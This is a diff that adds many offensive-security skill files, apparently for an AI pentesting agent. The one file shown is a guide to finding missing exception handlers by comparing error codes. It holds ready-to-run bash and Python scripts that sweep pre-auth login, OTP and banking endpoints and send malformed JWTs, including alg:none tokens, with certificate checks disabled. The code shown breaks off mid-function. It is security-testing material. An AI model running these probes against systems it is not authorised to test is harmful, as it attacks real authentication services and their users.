- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md
ADDED
|
@@ -0,0 +1,742 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: unhandled-exception-differential
|
|
5
|
+
description: Detect unhandled exceptions in security-sensitive endpoints via differential error analysis — comparing HTTP status codes for well-formed-invalid vs. malformed inputs to identify missing exception handlers in token parsing, JSON processing, and auth validation paths
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Unhandled Exception via Differential Error Analysis
|
|
9
|
+
|
|
10
|
+
## Core Concept (Read This First)
|
|
11
|
+
|
|
12
|
+
This is **not** about exploiting a bug to gain access. It is about proving that an exception handler is **missing** in a security-critical code path.
|
|
13
|
+
|
|
14
|
+
**The fundamental test:**
|
|
15
|
+
```
|
|
16
|
+
Well-formed-but-invalid token → HTTP 403 "Invalid Session/Token" (expected fail-closed)
|
|
17
|
+
Malformed token (wrong format) → HTTP 500 "Internal Server Error" (unexpected = no handler)
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
The differential (403 vs 500) is the evidence. A 500 on the same endpoint where the baseline is 403 proves that the server's token validation code throws an uncaught exception for certain input shapes — it does not "fail closed," it **crashes**.
|
|
21
|
+
|
|
22
|
+
**Why this matters on security endpoints:**
|
|
23
|
+
- OTP generation, login, password reset, session refresh = pre-authentication critical paths
|
|
24
|
+
- 500 on these endpoints = logs flooded with stack traces (log noise can mask real attacks)
|
|
25
|
+
- Exception-based code divergence exposes different internal code paths than normal operation
|
|
26
|
+
- Availability risk: exception handling is typically more expensive than normal flow
|
|
27
|
+
- Defensive bypass potential: 500 responses may have different behavior (no rate limiting increment, no audit log, different response headers)
|
|
28
|
+
|
|
29
|
+
**Reasoning required by the model:** This finding requires multi-step differential reasoning, not just "found a 500 error." The model must:
|
|
30
|
+
1. Establish a clear baseline (what the endpoint returns for well-formed-but-invalid tokens)
|
|
31
|
+
2. Systematically test the malformation battery
|
|
32
|
+
3. Confirm the differential is consistent and deterministic
|
|
33
|
+
4. Identify which malformation type triggers the divergence
|
|
34
|
+
5. Assess which code path is affected (parser? decoder? validator?)
|
|
35
|
+
6. Rule out false positives (is the 500 actually meaningful?)
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## STEP 1 — Identify High-Value Target Endpoints
|
|
40
|
+
|
|
41
|
+
Pre-authentication endpoints that process tokens/credentials are the highest-value targets:
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
TARGET="https://TARGET"
|
|
45
|
+
|
|
46
|
+
# These endpoint patterns handle tokens BEFORE auth is established
|
|
47
|
+
# They are the most impactful because they're reachable without any credentials
|
|
48
|
+
|
|
49
|
+
PRE_AUTH_PATTERNS=(
|
|
50
|
+
# OTP generation / validation
|
|
51
|
+
"/otp/generate" "/otp/verify" "/otp/send" "/otp/validate"
|
|
52
|
+
"/api/otp" "/auth/otp" "/v1/otp"
|
|
53
|
+
# Login / session creation
|
|
54
|
+
"/login" "/signin" "/auth/login" "/api/login" "/v1/auth/login"
|
|
55
|
+
"/session" "/sessions" "/token" "/tokens"
|
|
56
|
+
# Password reset (critical path)
|
|
57
|
+
"/password/reset" "/password/forgot" "/account/reset"
|
|
58
|
+
"/api/reset-password" "/auth/reset"
|
|
59
|
+
# Token refresh (processes existing tokens)
|
|
60
|
+
"/token/refresh" "/auth/refresh" "/session/refresh"
|
|
61
|
+
"/api/refresh" "/v1/refresh"
|
|
62
|
+
# Two-factor / MFA
|
|
63
|
+
"/2fa/verify" "/mfa/verify" "/auth/2fa" "/verify"
|
|
64
|
+
# Banking/financial specific
|
|
65
|
+
"/iamng/otp" "/ibng/otp" "/digital-bank/auth"
|
|
66
|
+
"/internet-banking/login" "/netbank/auth"
|
|
67
|
+
)
|
|
68
|
+
|
|
69
|
+
echo "=== Mapping pre-auth auth endpoints ==="
|
|
70
|
+
for pattern in "${PRE_AUTH_PATTERNS[@]}"; do
|
|
71
|
+
result=$(curl -sk -o /dev/null -w "%{http_code}" \
|
|
72
|
+
-X POST "$TARGET$pattern" \
|
|
73
|
+
-H "Content-Type: application/json" \
|
|
74
|
+
-H "Authorization: Bearer test" \
|
|
75
|
+
-d '{}' 2>/dev/null)
|
|
76
|
+
# Any response that isn't 404 is worth testing
|
|
77
|
+
[ "$result" != "404" ] && [ "$result" != "000" ] && \
|
|
78
|
+
echo "[$result] $TARGET$pattern"
|
|
79
|
+
done | tee output/preauth_endpoints.txt
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## STEP 2 — Establish Baseline (Well-Formed-Invalid Token)
|
|
85
|
+
|
|
86
|
+
Before testing malformed tokens, **confirm what a "normal bad token" returns**.
|
|
87
|
+
A proper security implementation should return 401 or 403 for all invalid tokens, regardless of format.
|
|
88
|
+
|
|
89
|
+
```python
|
|
90
|
+
# tools/establish_baseline.py
|
|
91
|
+
"""
|
|
92
|
+
Establish the expected error response for well-formed-but-invalid tokens.
|
|
93
|
+
This is the 'control group' for the differential test.
|
|
94
|
+
"""
|
|
95
|
+
import base64, json, time, urllib.request, urllib.error, ssl
|
|
96
|
+
|
|
97
|
+
ctx = ssl.create_default_context()
|
|
98
|
+
ctx.check_hostname = False
|
|
99
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
100
|
+
|
|
101
|
+
def b64url_encode(data: bytes) -> str:
|
|
102
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
103
|
+
|
|
104
|
+
def make_jwt_like_token(alg="HS256"):
|
|
105
|
+
"""Create a structurally valid JWT that will fail signature validation"""
|
|
106
|
+
header = b64url_encode(json.dumps({"alg": alg, "typ": "JWT"}).encode())
|
|
107
|
+
payload = b64url_encode(json.dumps({
|
|
108
|
+
"sub": "test-user",
|
|
109
|
+
"iat": int(time.time()),
|
|
110
|
+
"exp": int(time.time()) + 300,
|
|
111
|
+
"jti": "baseline-test"
|
|
112
|
+
}).encode())
|
|
113
|
+
sig = b64url_encode(b"invalid_signature_for_testing")
|
|
114
|
+
return f"{header}.{payload}.{sig}"
|
|
115
|
+
|
|
116
|
+
def test_endpoint(url, token, method="POST", body="{}", extra_headers=None):
|
|
117
|
+
"""Send a request and record the response details"""
|
|
118
|
+
headers = {
|
|
119
|
+
"Authorization": f"Bearer {token}",
|
|
120
|
+
"Content-Type": "application/json",
|
|
121
|
+
"User-Agent": "Mozilla/5.0",
|
|
122
|
+
"Accept": "application/json",
|
|
123
|
+
}
|
|
124
|
+
if extra_headers:
|
|
125
|
+
headers.update(extra_headers)
|
|
126
|
+
|
|
127
|
+
req = urllib.request.Request(
|
|
128
|
+
url,
|
|
129
|
+
data=body.encode() if isinstance(body, str) else body,
|
|
130
|
+
headers=headers,
|
|
131
|
+
method=method
|
|
132
|
+
)
|
|
133
|
+
t0 = time.time()
|
|
134
|
+
try:
|
|
135
|
+
with urllib.request.urlopen(req, timeout=15, context=ctx) as r:
|
|
136
|
+
elapsed = time.time() - t0
|
|
137
|
+
response_body = r.read(500).decode('utf-8', 'ignore')
|
|
138
|
+
return {
|
|
139
|
+
"status": r.status,
|
|
140
|
+
"body": response_body,
|
|
141
|
+
"elapsed": round(elapsed, 3),
|
|
142
|
+
"headers": dict(r.headers)
|
|
143
|
+
}
|
|
144
|
+
except urllib.error.HTTPError as e:
|
|
145
|
+
elapsed = time.time() - t0
|
|
146
|
+
response_body = e.read(500).decode('utf-8', 'ignore')
|
|
147
|
+
return {
|
|
148
|
+
"status": e.code,
|
|
149
|
+
"body": response_body,
|
|
150
|
+
"elapsed": round(elapsed, 3),
|
|
151
|
+
"headers": dict(e.headers)
|
|
152
|
+
}
|
|
153
|
+
except Exception as ex:
|
|
154
|
+
return {"status": 0, "body": str(ex), "elapsed": time.time() - t0}
|
|
155
|
+
|
|
156
|
+
# Test baseline
|
|
157
|
+
endpoint = "TARGET_ENDPOINT" # Replace with actual endpoint
|
|
158
|
+
baseline_token = make_jwt_like_token()
|
|
159
|
+
result = test_endpoint(endpoint, baseline_token)
|
|
160
|
+
|
|
161
|
+
print(f"=== BASELINE RESPONSE ===")
|
|
162
|
+
print(f"Token: {baseline_token[:50]}...")
|
|
163
|
+
print(f"Status: {result['status']}")
|
|
164
|
+
print(f"Body: {result['body'][:200]}")
|
|
165
|
+
print(f"Time: {result['elapsed']}s")
|
|
166
|
+
print()
|
|
167
|
+
print(f"Expected: 401 or 403 (fail-closed for invalid token)")
|
|
168
|
+
if result['status'] in (401, 403):
|
|
169
|
+
print(f"✓ Endpoint correctly rejects well-formed-invalid tokens with {result['status']}")
|
|
170
|
+
elif result['status'] == 200:
|
|
171
|
+
print(f"⚠ WARNING: Endpoint ACCEPTS invalid tokens (auth bypass?)")
|
|
172
|
+
elif result['status'] == 500:
|
|
173
|
+
print(f"⚠ Endpoint already returns 500 for well-formed tokens — different issue")
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## STEP 3 — Token Malformation Battery
|
|
179
|
+
|
|
180
|
+
```python
|
|
181
|
+
# tools/malformation_battery.py
|
|
182
|
+
"""
|
|
183
|
+
Test a systematic battery of malformed token variants.
|
|
184
|
+
Each variant targets a different parser stage:
|
|
185
|
+
- Pre-parse: null, empty, undefined, single-char
|
|
186
|
+
- Structure: wrong segment count (0, 1, 2, 4+)
|
|
187
|
+
- Base64url: invalid characters, wrong padding
|
|
188
|
+
- JSON: non-JSON after decoding, truncated JSON
|
|
189
|
+
- Size: very short, very long (but below size limits)
|
|
190
|
+
- Type confusion: number, boolean, array as token
|
|
191
|
+
"""
|
|
192
|
+
import base64, json, time, sys
|
|
193
|
+
# (import test_endpoint from establish_baseline.py or inline it here)
|
|
194
|
+
|
|
195
|
+
def b64url(s: bytes) -> str:
|
|
196
|
+
return base64.urlsafe_b64encode(s).rstrip(b'=').decode()
|
|
197
|
+
|
|
198
|
+
# ─────────────────────────────────────────────
|
|
199
|
+
# TOKEN MALFORMATION TAXONOMY
|
|
200
|
+
# Each entry: (label, token_string, expected_error_type)
|
|
201
|
+
# ─────────────────────────────────────────────
|
|
202
|
+
MALFORMED_TOKENS = [
|
|
203
|
+
# === Stage 1: Pre-parse / Type coercion ===
|
|
204
|
+
# These test whether the server checks token presence/type before parsing
|
|
205
|
+
("literal_null", "null", "type_coercion"),
|
|
206
|
+
("literal_undefined", "undefined", "type_coercion"),
|
|
207
|
+
("literal_true", "true", "type_coercion"),
|
|
208
|
+
("literal_false", "false", "type_coercion"),
|
|
209
|
+
("literal_zero", "0", "type_coercion"),
|
|
210
|
+
("literal_number", "12345", "type_coercion"),
|
|
211
|
+
("empty_string", "", "type_coercion"),
|
|
212
|
+
("single_space", " ", "type_coercion"),
|
|
213
|
+
("only_dots", "...", "type_coercion"),
|
|
214
|
+
("only_dot", ".", "type_coercion"),
|
|
215
|
+
|
|
216
|
+
# === Stage 2: Segment count validation ===
|
|
217
|
+
# JWT = 3 segments (header.payload.signature)
|
|
218
|
+
# Tests whether segment count is validated before decoding
|
|
219
|
+
("zero_segments", "nosegments", "segment_count"),
|
|
220
|
+
("one_segment", "onlyone", "segment_count"),
|
|
221
|
+
("two_segments", "aaa.bbb", "segment_count"),
|
|
222
|
+
("four_segments", "a.b.c.d", "segment_count"),
|
|
223
|
+
("five_segments", "a.b.c.d.e", "segment_count"),
|
|
224
|
+
("many_segments", ".".join(["x"] * 20), "segment_count"),
|
|
225
|
+
("leading_dot", ".aaa.bbb.ccc", "segment_count"),
|
|
226
|
+
("trailing_dot", "aaa.bbb.ccc.", "segment_count"),
|
|
227
|
+
("double_dot", "aaa..bbb.ccc", "segment_count"),
|
|
228
|
+
|
|
229
|
+
# Three segments but with invalid content ↓
|
|
230
|
+
("all_dots", "aaa.bbb.ccc", "content"),
|
|
231
|
+
("single_chars", "a.b.c", "content"),
|
|
232
|
+
|
|
233
|
+
# === Stage 3: Base64url decoding ===
|
|
234
|
+
# Tests whether b64url decoding errors are caught
|
|
235
|
+
("invalid_b64_header", "!!!.bbb.ccc", "base64_decode"),
|
|
236
|
+
("invalid_b64_payload", "aaa.!!!.ccc", "base64_decode"),
|
|
237
|
+
("standard_b64_not_url",
|
|
238
|
+
base64.b64encode(b'{"alg":"HS256"}').decode() + ".payload.sig",
|
|
239
|
+
"base64_decode"),
|
|
240
|
+
("b64_with_padding",
|
|
241
|
+
base64.urlsafe_b64encode(b'{"alg":"HS256"}').decode() + ".payload.sig",
|
|
242
|
+
"base64_decode"),
|
|
243
|
+
("unicode_header", "Ω™.payload.sig", "base64_decode"),
|
|
244
|
+
("null_byte", "aaa\x00.bbb.ccc", "base64_decode"),
|
|
245
|
+
|
|
246
|
+
# === Stage 4: JSON parsing of decoded segments ===
|
|
247
|
+
# Tests whether JSON parse errors in header/payload are caught
|
|
248
|
+
("non_json_header",
|
|
249
|
+
b64url(b"NOT_JSON") + "." + b64url(b'{"sub":"x"}') + ".sig",
|
|
250
|
+
"json_parse"),
|
|
251
|
+
("truncated_json_header",
|
|
252
|
+
b64url(b'{"alg"') + "." + b64url(b'{"sub":"x"}') + ".sig",
|
|
253
|
+
"json_parse"),
|
|
254
|
+
("empty_json_header",
|
|
255
|
+
b64url(b"") + "." + b64url(b'{"sub":"x"}') + ".sig",
|
|
256
|
+
"json_parse"),
|
|
257
|
+
("array_as_header",
|
|
258
|
+
b64url(b'["array","not","object"]') + "." + b64url(b'{}') + ".sig",
|
|
259
|
+
"json_parse"),
|
|
260
|
+
("null_json_header",
|
|
261
|
+
b64url(b'null') + "." + b64url(b'{"sub":"x"}') + ".sig", "json_parse"),
|
|
262
|
+
|
|
263
|
+
# === Stage 5: Algorithm/signature validation ===
|
|
264
|
+
# Tests whether signature errors during validation are caught
|
|
265
|
+
("alg_none",
|
|
266
|
+
b64url(b'{"alg":"none","typ":"JWT"}') + "." +
|
|
267
|
+
b64url(b'{"sub":"x","exp":9999999999}') + ".", "alg_none"),
|
|
268
|
+
("alg_none_with_sig",
|
|
269
|
+
b64url(b'{"alg":"none"}') + "." + b64url(b'{}') + ".fakesig",
|
|
270
|
+
"alg_none"),
|
|
271
|
+
("empty_alg",
|
|
272
|
+
b64url(b'{"alg":"","typ":"JWT"}') + "." + b64url(b'{}') + ".sig",
|
|
273
|
+
"alg_empty"),
|
|
274
|
+
("unknown_alg",
|
|
275
|
+
b64url(b'{"alg":"MAGIC2048","typ":"JWT"}') + "." + b64url(b'{}') + ".sig",
|
|
276
|
+
"alg_unknown"),
|
|
277
|
+
|
|
278
|
+
# === Stage 6: Size boundary testing ===
|
|
279
|
+
("very_short", "x.y.z", "size"),
|
|
280
|
+
("100kb_header", ("A" * 100000) + ".b.c", "size"), # likely 431
|
|
281
|
+
("long_payload",
|
|
282
|
+
"aaa." + ("B" * 10000) + ".ccc", "size"),
|
|
283
|
+
]
|
|
284
|
+
|
|
285
|
+
def run_malformation_battery(endpoint, baseline_status, extra_headers=None):
|
|
286
|
+
"""
|
|
287
|
+
Run all malformed token tests. Report any that differ from baseline.
|
|
288
|
+
baseline_status: the HTTP status code returned for well-formed-invalid tokens (e.g., 403)
|
|
289
|
+
"""
|
|
290
|
+
results = []
|
|
291
|
+
differentials = []
|
|
292
|
+
|
|
293
|
+
print(f"\n=== MALFORMATION BATTERY: {endpoint} ===")
|
|
294
|
+
print(f"Baseline status: {baseline_status} | Testing {len(MALFORMED_TOKENS)} variants\n")
|
|
295
|
+
|
|
296
|
+
for label, token, malform_type in MALFORMED_TOKENS:
|
|
297
|
+
r = test_endpoint(endpoint, token, extra_headers=extra_headers)
|
|
298
|
+
status = r["status"]
|
|
299
|
+
is_differential = (status != baseline_status)
|
|
300
|
+
is_500 = (status == 500)
|
|
301
|
+
|
|
302
|
+
results.append({
|
|
303
|
+
"label": label,
|
|
304
|
+
"token": token[:40] + ("..." if len(token) > 40 else ""),
|
|
305
|
+
"malform_type": malform_type,
|
|
306
|
+
"status": status,
|
|
307
|
+
"elapsed": r["elapsed"],
|
|
308
|
+
"body": r["body"][:100],
|
|
309
|
+
"differential": is_differential,
|
|
310
|
+
"is_500": is_500
|
|
311
|
+
})
|
|
312
|
+
|
|
313
|
+
if is_500 or is_differential:
|
|
314
|
+
differentials.append(results[-1])
|
|
315
|
+
marker = "🔴 500!" if is_500 else f"⚠ {status}≠{baseline_status}"
|
|
316
|
+
print(f"[{marker}] {label:30s} → {status} ({r['elapsed']}s)")
|
|
317
|
+
print(f" Token: {token[:60]}")
|
|
318
|
+
print(f" Body: {r['body'][:120]}")
|
|
319
|
+
else:
|
|
320
|
+
print(f"[OK {status}] {label:30s} ({r['elapsed']}s)")
|
|
321
|
+
|
|
322
|
+
time.sleep(0.4) # Respectful rate limiting
|
|
323
|
+
|
|
324
|
+
return results, differentials
|
|
325
|
+
|
|
326
|
+
# Usage:
|
|
327
|
+
# results, differentials = run_malformation_battery(
|
|
328
|
+
# "https://TARGET/endpoint",
|
|
329
|
+
# baseline_status=403,
|
|
330
|
+
# extra_headers={"clientid": "app", "channelid": "web"}
|
|
331
|
+
# )
|
|
332
|
+
```
|
|
333
|
+
|
|
334
|
+
---
|
|
335
|
+
|
|
336
|
+
## STEP 4 — Confirm Differential is Deterministic
|
|
337
|
+
|
|
338
|
+
A 500 error must be **repeatable** to be a valid finding. Transient 500s (server overload, deployment) are not findings.
|
|
339
|
+
|
|
340
|
+
```python
|
|
341
|
+
# tools/confirm_deterministic.py
|
|
342
|
+
"""
|
|
343
|
+
For each differential found, confirm it is deterministic (same result every time).
|
|
344
|
+
Test each malformed token 3-5 times with delays between requests.
|
|
345
|
+
"""
|
|
346
|
+
import time
|
|
347
|
+
|
|
348
|
+
def confirm_deterministic(endpoint, token, expected_500, n=3, delay=2.0, extra_headers=None):
|
|
349
|
+
"""
|
|
350
|
+
Send the same malformed token n times and confirm consistent 500 responses.
|
|
351
|
+
Returns True if deterministic.
|
|
352
|
+
"""
|
|
353
|
+
statuses = []
|
|
354
|
+
print(f"\n=== Confirming deterministic: {token[:40]} ===")
|
|
355
|
+
|
|
356
|
+
for i in range(n):
|
|
357
|
+
r = test_endpoint(endpoint, token, extra_headers=extra_headers)
|
|
358
|
+
statuses.append(r["status"])
|
|
359
|
+
print(f" Attempt {i+1}/{n}: HTTP {r['status']} | {r['body'][:80]}")
|
|
360
|
+
time.sleep(delay)
|
|
361
|
+
|
|
362
|
+
all_same = len(set(statuses)) == 1
|
|
363
|
+
all_expected = all(s == expected_500 for s in statuses)
|
|
364
|
+
|
|
365
|
+
if all_same and all_expected:
|
|
366
|
+
print(f" ✓ DETERMINISTIC: All {n} attempts returned {statuses[0]}")
|
|
367
|
+
return True
|
|
368
|
+
elif all_same:
|
|
369
|
+
print(f" ✓ Consistent (all {statuses[0]}) but not 500 — re-evaluate")
|
|
370
|
+
return False
|
|
371
|
+
else:
|
|
372
|
+
print(f" ✗ NON-DETERMINISTIC: Got {statuses} — likely transient, NOT a finding")
|
|
373
|
+
return False
|
|
374
|
+
|
|
375
|
+
# Example usage after finding differentials:
|
|
376
|
+
# confirm_deterministic(endpoint, "aaa.bbb.ccc", expected_500=500)
|
|
377
|
+
# confirm_deterministic(endpoint, "null", expected_500=500)
|
|
378
|
+
```
|
|
379
|
+
|
|
380
|
+
---
|
|
381
|
+
|
|
382
|
+
## STEP 5 — Full Automated Test Runner
|
|
383
|
+
|
|
384
|
+
```python
|
|
385
|
+
# tools/differential_exception_tester.py
|
|
386
|
+
"""
|
|
387
|
+
Complete automated test for unhandled exception via differential error analysis.
|
|
388
|
+
Combines: baseline → malformation battery → differential confirmation → report generation.
|
|
389
|
+
|
|
390
|
+
Usage:
|
|
391
|
+
python3 tools/differential_exception_tester.py \
|
|
392
|
+
--url "https://TARGET/endpoint" \
|
|
393
|
+
--method POST \
|
|
394
|
+
--body '{}' \
|
|
395
|
+
--header "clientid:myapp" \
|
|
396
|
+
--header "channelid:web"
|
|
397
|
+
"""
|
|
398
|
+
import argparse, base64, json, time, urllib.request, urllib.error, ssl, sys
|
|
399
|
+
|
|
400
|
+
ctx = ssl.create_default_context()
|
|
401
|
+
ctx.check_hostname = False
|
|
402
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
403
|
+
|
|
404
|
+
def b64url(s: bytes) -> str:
|
|
405
|
+
return base64.urlsafe_b64encode(s).rstrip(b'=').decode()
|
|
406
|
+
|
|
407
|
+
# Condensed battery (most impactful variants)
|
|
408
|
+
CORE_BATTERY = [
|
|
409
|
+
("jwt_like_invalid_sig",
|
|
410
|
+
b64url(b'{"alg":"HS256","typ":"JWT"}') + "." +
|
|
411
|
+
b64url(b'{"sub":"x","exp":9999999999}') + ".invalidsig"),
|
|
412
|
+
("literal_null", "null"),
|
|
413
|
+
("literal_undefined", "undefined"),
|
|
414
|
+
("two_segments", "aaa.bbb"),
|
|
415
|
+
("four_segments", "a.b.c.d"),
|
|
416
|
+
("non_json_header",
|
|
417
|
+
b64url(b"NOT_JSON") + "." + b64url(b'{"sub":"x"}') + ".sig"),
|
|
418
|
+
("alg_none",
|
|
419
|
+
b64url(b'{"alg":"none","typ":"JWT"}') + "." +
|
|
420
|
+
b64url(b'{"sub":"x","exp":9999999999}') + "."),
|
|
421
|
+
("empty_alg",
|
|
422
|
+
b64url(b'{"alg":"","typ":"JWT"}') + "." + b64url(b'{"sub":"x"}') + ".sig"),
|
|
423
|
+
("unknown_alg",
|
|
424
|
+
b64url(b'{"alg":"NONE256","typ":"JWT"}') + "." + b64url(b'{"sub":"x"}') + ".sig"),
|
|
425
|
+
("all_dots", "aaa.bbb.ccc"),
|
|
426
|
+
("empty_string", ""),
|
|
427
|
+
("null_byte_in_token", "aaa\x00bbb.ccc.ddd"),
|
|
428
|
+
]
|
|
429
|
+
|
|
430
|
+
def run_test(url, method, body, headers):
|
|
431
|
+
results = {}
|
|
432
|
+
|
|
433
|
+
# 1. Run baseline
|
|
434
|
+
print("[1/3] Running baseline...")
|
|
435
|
+
baseline_token = (
|
|
436
|
+
b64url(b'{"alg":"HS256","typ":"JWT"}') + "." +
|
|
437
|
+
b64url(json.dumps({"sub":"test","iat":int(time.time()),"exp":int(time.time())+60}).encode()) +
|
|
438
|
+
".invalidsig_baseline"
|
